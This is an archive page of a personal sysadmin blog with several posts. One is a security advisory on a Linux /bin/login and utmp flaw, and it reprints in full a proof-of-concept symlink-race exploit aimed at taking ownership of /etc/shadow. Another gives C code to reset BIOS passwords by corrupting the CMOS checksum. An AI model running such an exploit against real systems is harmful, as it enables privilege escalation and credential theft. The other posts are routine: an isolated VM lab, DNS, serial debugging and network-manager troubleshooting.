Archive for the 'Sysadmin' Category
Remember our discussion on viewing computer security as threat mitigation? Well the likely risk of one attack vector being exploited has just increased.
An issue was uncovered in Linux’s /bin/login and utmp being able to change the ownership of arbitrary files upon remote login. The example they discussed was changing /etc/shadow to be readable by a normal user (supposedly for password cracking at the attacker’s leisure), but this could also be used to make accessible ownership of other people’s ssh private keys, view plaintext passwords in daemon configuration files, gain access to applications normally restricted to superusers, and of course do whatever else a creative individual could think of. The current exploit is a proof-of-concept, and thus isn’t all that elegant (nor dangerous). However, that doesn’t mean future iterations of the exploit code won’t be either.
The issue can be easily avoided by updating your Debian system – the Debian security team has released an update which includes a fix for this issue.
For other distributions, there has been no discussion of temporary measures to avoid being vulnerable. My suggestions for temporary protection from the *current* exploit are:
- Disable external incoming access to port 23 (telnet).
- Prevent the telnet daemon (telnetd) from running.
- Don’t give in to any requests to ‘chgrp utmp’ anything (although this isn’t a complete workaround – if an issue allowing escalation of privileges within any utmp owned file is found, you will still be vulnerable without another temporary fix from above)
However, I believe another iteration of this exploit will include using rlogin if telnet fails, as it also uses /bin/login. To avoid being vulnerable to this threat while a patch is released for your distribution, you may also do the following:
- Disable external incoming access to port 513 (rlogind).
- Prevent the rlogin daemon (rlogind) from running.
- Same as 3. from above.
To be complete, below is the proof-of-concept exploit developed by Paul Szabo of the University of Sydney. It was released on December 1, 2008.
#!/bin/bash -
echo '
#include
#include
#include
#include
#include
#include
int main(int argc, char *argv[])
{
struct utmp entry;
int i;
entry.ut_type=LOGIN_PROCESS;
strcpy(entry.ut_line,"/tmp/x");
entry.ut_time=0;
strcpy(entry.ut_user,"badguy");
strcpy(entry.ut_host,"badhost");
entry.ut_addr=0;
for(i=1;i<9;i++) {
entry.ut_pid=(pid_t)( i + (int)getpid() );
sprintf(entry.ut_id,"bad%d",i);
pututline(&entry);
}
}
' > /tmp/fillutmp.c
cc -o /tmp/fillutmp /tmp/fillutmp.c
echo 'Ask someone with group utmp privileges to do:'
echo ' chgrp utmp /tmp/fillutmp; chmod 2755 /tmp/fillutmp'
echo -n 'Press [RETURN] to continue... '
read ANS
echo '
#include
int main(int argc, char *argv[])
{
while(1)
{
unlink("/tmp/x");
symlink(argv[1],"/tmp/x");
unlink("/tmp/x");
symlink(argv[2],"/tmp/x");
}
}
' > /tmp/jigglelnk.c
cc -o /tmp/jigglelnk /tmp/jigglelnk.c
HOST=`hostname` # or simply localhost?
echo "Which tty do you think a 'telnet $HOST' will use next?"
echo "(Do that telnet and see...)"
read TTY
echo "You said it will be '$TTY' ..."
ATK=/etc/debian_version # should be /etc/shadow
echo "Starting symlink re-jiggler ..."
/tmp/jigglelnk $TTY $ATK &
JIG=$!
LOOP=0
while :; do
((LOOP = $LOOP + 1))
echo; echo; echo "Try = $LOOP"
/tmp/fillutmp
echo "Telnetting... if login succeeds, just exit for next try..."
/usr/bin/telnet $HOST
LS=`ls -ld $ATK`
case "$LS" in
*root*root* ) ;; # not done yet...
* )
echo; echo
echo "Success after $LOOP tries!"
echo "$LS"
echo; echo
break
;;
esac
done
kill $JIG
rm /tmp/fillutmp /tmp/jigglelnk /tmp/x
# ...
# ~$ logout
# Connection closed by foreign host.
# Success after 12 tries!
# -rw------- 1 psz tty 4 Oct 28 2006 /etc/debian_version
Stay secure!
My “Why I Don’t Use Antivirus” post has been receiving a recent surge of traffic, and with it, new commentors who open my eyes to how other people think. The result of my reading these comments is the conclusion that people view practices as either “secure” or “insecure,” while leaving little room in between the camps.
In this post, I’m going to introduce a concept that is hardly new, but needs more attention:
Secure Enough: The point in which the impact of an unmitigated risk is less than the effort to mitigate the risk.
Defensive computer security is not a game you can win. All it takes is one unacceptable compromise for you to lose, while offensive computer security plays with polar rules. What changes from person to person however is the definition of “unacceptable compromise.” For a home machine, it may be an attacker gaining access to information that would leave an individual financially vulnerable. For a business, it is definitely related to the goals of the business and the damage a compromise could inflict.
Because of this, every entity’s security model is going to be different, but they (should) all start with an analysis of resources and the priority with which they should be protected. Then, and only then, should layers of security be applied to a system. The reason for this?
Security applied without cause increases complexity of a system with no added benefit. [1]
Breaking it down, the steps to deciding how to secure a system are as follows:
- Quantify the resources of a system (not forgetting privacy, damage to community, and other frequently overlooked aspects of a compromise)
- Determine the importance of defending each resource (including cost to repair, replace, and contain the results of an attack in man hour, intellectual property, and dollar cost)
- Determine the risk tolerance for each resource identified, independent of cost (with 0 meaning much risk tolerance, and arbitrarily high numbers conveying increasingly less risk tolerance, for the sake of this article)
- Determine the cost of defending each resource (using the same criteria as #2, in addition to including cost to maintain the security measure)
I won’t go further into describing how to do the analysis, because every entity is going to be different with every facet. Regardless, once the three steps have been performed, deciding which security layers to apply is the result of an expression like the following: [2]
if: (importance of resource + cost of resource) * risk tolerance > (cost of implementing security measure)
then: Defend resource using security measure identified
else: Analyze less costly alternatives for defending resource, defend with blanket defense, or ignore additional defense for this resource completely
This trivially says that if the resource is important, valuable, and you cannot risk an attack on it, it will be beneficial to mitigate any risk of that resource being compromised. Alternatively, if the resource is not important, not valuable, and you can tolerate the risk of it being compromised, it may not be worth the effort to mitigate the potential security threat. Points in between become a balance of cost of and risk tolerance versus the cost of implementing a security layer to protect the resource.
This method of securing a system obviously leaves security threats that are not directly mitigated. But the idea is not to get perfect security coverage, it is to adequately cover the resources that are worth defending. Or, in other words, the goal is to be Secure Enough.
[1] Okay, maybe there is *some* benefit, but because the security layer was applied without direct cause, the potential benefit will only be realized on accident – but regardless increases the complexity of a system.
[2] I made this expression up, it is only given to convey the relationship between the involved metrics.
I upgraded to Wordpress 2.6 like a good administrator as soon as I was aware of the release. Shortly after, I noticed that clicking on an individual post was resulting in Wordpress being unable to find the post, meaning my blog was probably useless to a lot of you for a couple days. The problem was actually a bug in the 2.6 and my utilizing “index.php” in my custom permalink structure.
The problem has been fixed in Wordpress – if you are experiencing the same problem update to the latest release of wordpress (2.6.1 contains the actual fix) and things should be back to normal.
Sorry for any inconvenience!
I just wasted an hour tracking down a problem with an application that controls Sharp projectors via a RS-232 (serial) connection. On sending the projectors a “POWR 1″ code to turn the projector on, we were getting “ERR” in response. The problem ended up being that the bulb on the projector was burnt out, so the projector was intelligently unable to turn itself on.
This is one case where a simple problem turned out to be a fairly annoying one.
My coolest project from work as of late has been to write a program to control the Sharp LCD projectors in RIT’s Software Engineering department through a serial interface. I really like writing code that interfaces with hardware, so this was one I enjoyed doing.
One thing I learned quickly is that debugging serial applications is hard. When my code wasn’t working, I didn’t know if it was because of the hardware, the software, or the command messages I was sending. If serial consoles or line printers were still widely available, it wouldn’t be hard to see what was going on. Since they aren’t, an alternate solution was devised utilizing GNU screen.
With two Linux boxes running Debian, I set one up with my code to send data from, and the other with screen attached to the serial device at /dev/ttyS0. Screen functions normally, but with the added bonus of displaying messages recieved from the serial device, and when entered, sending messages to the device. Screen makes it possible to visualize serial communications and send test messages without having to write or modify any code, making it an infinitely useful tool in debugging serial applications.
My bug turned out to be twofold: one hardware, and one software. The first was that the serial connection to the projector was not complete; there is a break somewhere in the wall. The second was that the manual states only that the command message be followed by a newline character. I was sending Unix newlines, like ‘\n’. The projector was written expecting Windows style newlines, which is a newline prepended by a carriage return, or ‘\r\n’. This simple fix, which I would have never stumbled over without the help of screen, was the source of my software based problems.
I got hit with a weird bug when I upgraded to VMWare 6.0.3. Before, my Debian Linux guest could happily browse the Internet with a NAT interface. After, I could resolve both internal and external IP addresses, but could not resolve any domain names using DNS.
I can only guess at why, but I believe the problem was not the configuration of my guest, but rather that the problem lays in how VMWare deals with the DNS queries. I use DHCP to obtain an address from the built-in DHCP server, and I was being assigned a DNS server along with my IP (as verified by checking /etc/resolv.conf), but it wouldn’t resolve any names for me.
My solution for now is to step around the assigned DNS address given by the DHCP server, and choose another one instead. I opted to use OpenDNS’s servers, and configuring Debian to use them is trivial – just open /etc/resolv.conf as root with your favorite editor, and change the ‘nameserver’ line to use OpenDNS’s DNS servers. Mine looks like this:
domain localdomain
search localdomain
nameserver 208.67.222.222
Restarting the network isn’t even necessary, the next named request you make should be resolved successfully and everything should be peachy!
If you want to make the change more permanent, you can assign a static IP and a static nameserver to the active interface of your guest operating system (hint, /etc/network/interfaces), which will circumvent the DHCP server. If you want to keep using the DHCP server, you’ll have to change the nameserver line every time you request a new address.
Hope this helps someone else!
I’ve been seeing a lot of sites throwing around a “how to reset BIOS passwords” tip that revolve around using the DOS/Windows DEBUG tool. In case you haven’t seen it, it goes a little like this:
- Create a boot floppy/disc with the debug tool on it
- Type -o 70 2e
- Type -o 71 FF
- Type quit
- Reboot
Curious as to why this works? So was I, but none of the sites I saw included an explanation. So after some googling, I uncovered the nitty-gritty details.
The CMOS memory is actually accessible to the user for reading and writing. I’m not aware of a recent operating system that doesn’t restrict write access to the administrator/super user, but it is there nontheless. It contains a lot of information, such as the system time (direct access to the real-time clock), BIOS information, and CMOS data. With this knowledge, I would suggest taking a look at this link, which is a reference to how the CMOS memory is laid out. It is what I used to determine what the hex values being output were doing.
The -o option of debug just outputs a value to an io port. The CMOS memory is accessed through ports 70 and 71, which explains the first parameter of the steps above. The second part can be seen from the CMOS reference I linked to above – by latching the address 0×2e for writing, and then setting its value to 0xff, we are manually telling the CMOS that it has an invalid checksum. The behavior when this occurs is to revert to the default BIOS, a feature which is supported independent of operating system or processor architecture – ie, any AT/ATX motherboard will do this.
None of the sites list instructions for if you are a Linux user, and assume you’ll have access to the debug program. So, now understanding how this specific utilization of debug worked, I wrote my own version in C. It can be compiled using gcc, and is compatible with all *nix distributions – so add it to your rescue LiveCD toolkit, you never know when you’ll need it :)
Here is the source:
resetBIOS.c
#include <stdio.h >
#include <stdlib.h>
#include <unistd.h>
#include <sys/io.h>
/* Written by Robert Peaslee - www.robertpeaslee.com */
/* compile: gcc -o resetBIOS resetBIOS.c */
/* Run as superuser. */
int main() {
/* Allow writing to ports 70 and 71 */
if( ioperm(0x70, 1, 1) || ioperm(0x71, 1, 1) ) {
perror("Error setting write permissions");
printf("\n");
exit(1);
}
/* output 0x2e to port 70, which is the address where the
* CMOS checksum is stored */
outb(0x2e, 0x70);
/* Small sleep to allow the changes to take effect. */
usleep(100000);
/* Tell the CMOS that the checksum is bad, forcing it to
* load the default BIOS on reboot. */
outb(0xff, 0x71);
/* Reset the port permissions to not be writeable */
if( ioperm(0x70, 3, 0)) {
perror("Error restoring permissions");
printf("\n");
exit(2);
}
exit(0);
}
And if you only want the assembly specific portions without relying on external libraries:
out 70, 0x2e
out 71, 0xff
…but note you’ll have to add your own data/text sections and a main: entry point if you want to actually assemble it. Additionally, you’ll have to convert this to at&t syntax if you want to inline it in C code using the gcc compiler.
So there you have it – a full explanation of why it works, an example in C, and a complete reference of the layout of CMOS memory. If you still have questions, leave them in the comments!
I enjoy computer security. There aren’t a lot of opportunities to study it formally within computer science, so my education in this field is entirely from what I read and practice in my own time.
Most recently, I’ve been feeling the itch to write a worm. The idea is attractive because a worm can be developed modularly with reusable components. Each individual component will increase my knowledge substantially in a different area of security, making the development a measurable goal with incremental positive feedback.
However, before development could begin, I wanted to ensure that I wouldn’t end up in court for an accidental release of one of the components gone awry. I love virtual machines as a tool to aid in the development process, so the solution was immediately obvious – create a multi-host virtual network that is isolated from the world. Further, I wanted each machine on this isolated network to occasionally be able to access the Internet to retrieve updates or tools, so the isolation needed to be complete but /controllable./ The final requirements of the virtual network ended up looking like this:
- Isolated network except when explicitly given access to the Internet
- Multiple hosts with different operating systems
- Must be able to easily add and remove hosts
- All hosts on the network must both default and fail to isolation
The way to implement this using VMWare Workstation (and I’m sure other products in their virtualization line) is to utilize teams. Teams are a ‘wrapper’ of a sort that encompass multiple VMs with additional configuration. When you start a team, each virtual machine included in the team’s configuration is also started. The team can be configured to also provide a virtual network segment for the virtual machines to use, which when paired with each VM in the team being configured with ‘host only’ network access, results in a virtual isolated network.
The team doesn’t provide DHCP though, which means the network has to be maintained with static address and modifications to each machine’s host file. This hardly met my requirement for easily adding and removing hosts from the network. Creating a host that would act as the network server fulfills this requirement, and will also facilitate network control access. As we continue on, please note that I’m using Debian Linux with a 2.6.x kernel, and all of the commands I give below and edits to configuration files *must be done as a superuser.*
Enough setup: time for implementation. To speed the process, I created two base images, one Windows XP SP2 install, and one Debian Lenny netinstall with a 2.6.x kernel. Each image was updated to include the latest patches, user accounts were created, and standard tools were installed. Once these base images were created, they were set aside to never be modified. Clones of the base images are created for each of the expendable hosts, and one clone of the Debian base image was used as the only ‘permanent’ member of the team. All members of the team share one virtual network segment, and have one interface. The only exception to this is the network server VM, which is dual-homed to be connected to both the virtual network and the Internet via NAT.
All hosts default to DHCP, so cloned images have no need for additional configuration when added. The network server is the only machine that had be set up specially. The bind9 and dhcp3-server packages were obtained (for DNS and DHCP, respectively) using Debian’s awesome package manager:
apt-get install bind9 dhcp3-server
Configuring bind is trivial, it defaults to forwarding DNS requests, so nothing is required as far as configuration unless you want to. dhcpd, provided by dhcp3-server, is a little more complicated. First, the interface connected to the isolated network must be set up to have a static address in the subnet in which you will be offering IP addresses, like 10.10.10.1 for the 10.10.10.x subnet or 192.168.30.1 for the 192.168.x.x subnet. It would be wise to modify your interface configuration to make this change survive rebooting.
/etc/network/interfaces:
auto lo eth0 ethiface lo inet loopback
iface eth0 inet static
address 10.10.10.1
netmask 255.255.255.0iface eth1 inet dhcp
The external interface is eth1, and is configured with DHCP since it is NAT routed. The internal interface is eth0, and is given an ip of 10.10.10.1 with a subnet mask of 255.255.255.0. (This means that the last quartet of the IP address is variable and available for use.) Next comes the configuration for dhcpd:
/etc/dhcp3/dhcpd.conf:
default-lease-time 600;max-lease-time 7200;
authoritative;option domain-name-servers 10.10.1.1 192.168.30.1
subnet 10.10.10.0 netmask 255.255.255.0 {
range 10.10.10.2 10.10.10.254;
option routers 10.10.10.1;
option ip-forwarding off;
option broadcast address 10.10.10.255;
option subnet-mask 255.255.255.0;
}
Here we are saying that the subnet is 10.10.10.*, and that we will assign addresses from 10.10.10.2 – 10.10.10.254. The other options should be self-explanatory – read up on networking if you have questions. As it stands, when the interfaces are brought down and back up and dhcpd is started, addresses will be assigned to all virtual machines sharing that network segment. If this is all you want, just issue:
ifdown eth1 eth0
ifup eth1 eth0
/etc/init.d/dhcpd3-server start
And you are done! The machine now will serve DHCP to the isolated subnet, while maintaining separate access for itself to the Internet.
However, if you want to continue on to enable Internet access for other hosts on the isolated network, we still have some work to do.
My solution for this involves iptables and masquerading. Before we do anything, we’ll need to enable IP forwarding. This can be done in multiple ways, but the most reliable for me has been the following simple command:
echo 1 > /proc/sys/net/ipv4/ip_forward
With IP forwarding enabled, we can now utilize the masquerading features of iptables, the Linux firewall. By creating rules that will take packets coming in from our internal network’s interface and sending them out on our external interface, in addition to creating a complementing rule that will accept return packets coming in from the external interface headed for the isolated host, we can accomplish this. The individual rules for my setup are:
iptables -t nat -A POSTROUTING -s -o eth1 -j MASQUERADE
iptables -A FORWARD -d -i eth0 -j ACCEPT
Since these are annoying to have to type in each time I want to enable access for a host, I wrote a set of scripts. The first two enable and disable access for a host or multiple hosts respectively. The third script is my emergency “oh crap” failsafe, with which a simple command I can disable all isolated hosts’s access immediately followed by bringing down the network server’s interfaces for complete assurance that whatever is going on won’t get out of the virtual network. Here they are:
enableInternet.sh
#!/bin/bash
if [ $UID -ne 0 ]; then
echo
echo "Must be root to run this program."
echo
exit 1
fi
if [[ -z $* ]]; then
echo
echo " Usage: ./enableInternet.sh <ipaddress [ipaddress2...ipaddressN]>"
echo
exit 1
fi
for ip in $@; do
# Will match an address of type 10.10.1.2, which matches our subnet
# definition
check=`echo $ip | grep -E "^([[:digit:]]{2}[.]){2}[[:digit:]][.][[:digit:]]+$"`
# If it doesn't match, print a warning and skip it
if [ -z $check ]; then
echo "Improperly formatted address $ip, skipping..."
continue
fi
# Enable Internet access for the address
iptables -t nat -A POSTROUTING -s $ip -o eth1 -j MASQUERADE
iptables -A FORWARD -d $ip -i eth0 -j ACCEPT
echo "$ip's internet access enabled..."
done
echo "Done."
blockInternet.sh
#!/bin/bash
if [ $UID -ne 0 ]; then
echo
echo "Must be root to run this program."
echo
exit 1
fi
if [[ -z $* ]]; then
echo
echo " Usage: ./blockInternet.sh <ipaddress [ipaddress2...ipaddressN]>"
echo
exit 1
fi
for ip in $@; do
# Will match an address of type 10.10.1.2, which matches our subnet definition
check=`echo $ip | grep -E "^([[:digit:]]{2}[.]){2}[[:digit:]][.][[:digit:]]+$"`
# If it doesn't match, print a warning and skip it
if [ -z $check ]; then
echo "Improperly formatted address $ip, skipping..."
continue
fi
# Disable Internet access for the address
iptables -t nat -D POSTROUTING -s $ip -o eth1 -j MASQUERADE
iptables -D FORWARD -d $ip -i eth0 -j ACCEPT
echo "$ip's internet access disabled..."
done
echo "Done."
blockAll.sh
#!/bin/bash
if [ $UID -ne 0 ]; then
echo
echo "Must be root to run this program."
echo
exit 1
fi
echo "Disabling Internet access for all hosts on 10.10.1.0/255.255.255.0..."
iptables --flush
iptables --delete-chain
iptables -t nat --flush
iptables -t nat --delete-chain
ifdown eth0 eth1
echo "Done."
I alias’d all the commands in my shell’s configuration scripts and prefixed them with sudo so they may be executed quickly and from anywhere on the system. If you’ve read this far, you should too – at least for the blockAll script. You don’t want to be fumbling around trying to remember where you put the script when you need complete isolation 30 seconds ago :)
I know this post was long, but there was a lot to cover. With this setup, hosts can now be easily added thanks to DHCP, Internet access is manually granted and defaults to none, and the environment is completely homogeneous. Perfect for worm development, malware analysis, or what have you. If you replicate this environment, let me know how it works out for you and what improvements you make. I’m always interested in making better systems!
One of the relatively recent additions to KDE/Gnome has been the ‘network-manager’ tool. It attempts to make the life of its users easier by automagically managing your interfaces. I can’t comment on its effectiveness during a normal user’s session, but my experiences were frustrating.
I guess it isn’t fair to say network-manager’s operation was frustrating, but rather that it was running without my knowledge, causing weird behavior. I’m setting up dhcpd in a virtual machine to provide addresses for an isolated network. Normally this requires that you only set up the interface, grab the package, set up the subnets you want to assign addresses to in /etc/dhcp/dhcpd.conf, and start up the daemon. However, this time around, I ran into some problems.
First, I attempted to set up my primary interface to use a static IP. I edited /etc/network/interfaces to set eth0 to use a static IP, set it and its netmask, and then brought the interface back up. The output from ifconfig showed no IP assignment. What!? Thinking it was something I was doing wrong, I brought the interface back down and ignored it while I configured dhcpd.
The dhcpd.conf file isn’t difficult to set up. The subnets to service were declared, as were the address ranges to use when assigning addresses dynamically. When the configuration was done, I attempted to bring up the daemon. /etc/init.d/dhcp3-server start… and… errors. “Not configured to listen on any interfaces?” Ugh. Further digging revealed that dhcpd was looking to serve addresses on a 10.10.1.0 network that I had configured, but the only active interface was listening on a 169.0.0.0 network.
Wait – an interface is up? I took it down! I again checked the syslogs, and sure enough, something is initiating dhclient to find an IP address, and upon failing, is assigning a private IP from the 169.0.0.0 range to my interface. The root cause of it ended up being network manager trying to maintain a connection on the interface utilizing its own configuration. Stopping the network-manager service immediately fixed the problem – bringing up the eth0 interface resulted in it being assigned the static IP I wanted, dhcpd ran without a problem, and I was happy.
I have some gripes with network-manager from this experience.
First, I edited /etc/network/interfaces to make the changes to eth0’s configuration. That is the way changes have been made to interfaces since before I started using Linux. I understand what network manager was trying to do, but two things perplex me. Why did it block my static IP assignment when I tried to bring the interface up? It wasn’t even immediately overridden, there was literally no address assigned to the interface. And also, why, WHY is it ignoring standard configuration files? /etc/network/interfaces should remain the be-all is-all configuration for network interfaces. Using another configuration file just makes things confusing.
Second, I believe the behavior of network-manager needs to be changed. I don’t know how this would be possible, so it may be an unreasonable thought – but if I bring down an interface manually, I don’t want it back up until I manually bring it up. Network-manager bringing up that interface after I had manually taken it down was confusing as all hell, and I certainly don’t use Linux to have my machine work against me.
I have disabled network manager permanently on my system. For a standard user (are there any ’standard’ Linux users?) it may function well, but for anyone that wants control of their machine, I suggest they do the same.
In my last post I chronicled the time consuming process of converting an image produced using the Unix dd utility to a vmware VMDK virtual disk. The process does work, but VMWare will only load it if the image contains a master boot record that still contains the appropriate information when removed from the rest of the system. Additionally, I think it is appropriate to mention again how terribly slow it is. We can circumvent these problems with Live View for Windows, a program developed for forensic work by Carnegie Mellon University.
The process for creating the image with dd is the same as last time, IE, by doing something along the lines of:
dd if=/dev/hdc3 of=/mnt/external/diskImage/XPSP2.img bs=1024
Once that image is generated and you are back in Windows, simply launch the Live View utility and… the rest is pretty self explanatory. Once the dd image is generated, the Live View program takes only a couple minutes to create the new vmdk, configure the virtual machine, and launch it. Sweet, sweet efficiency!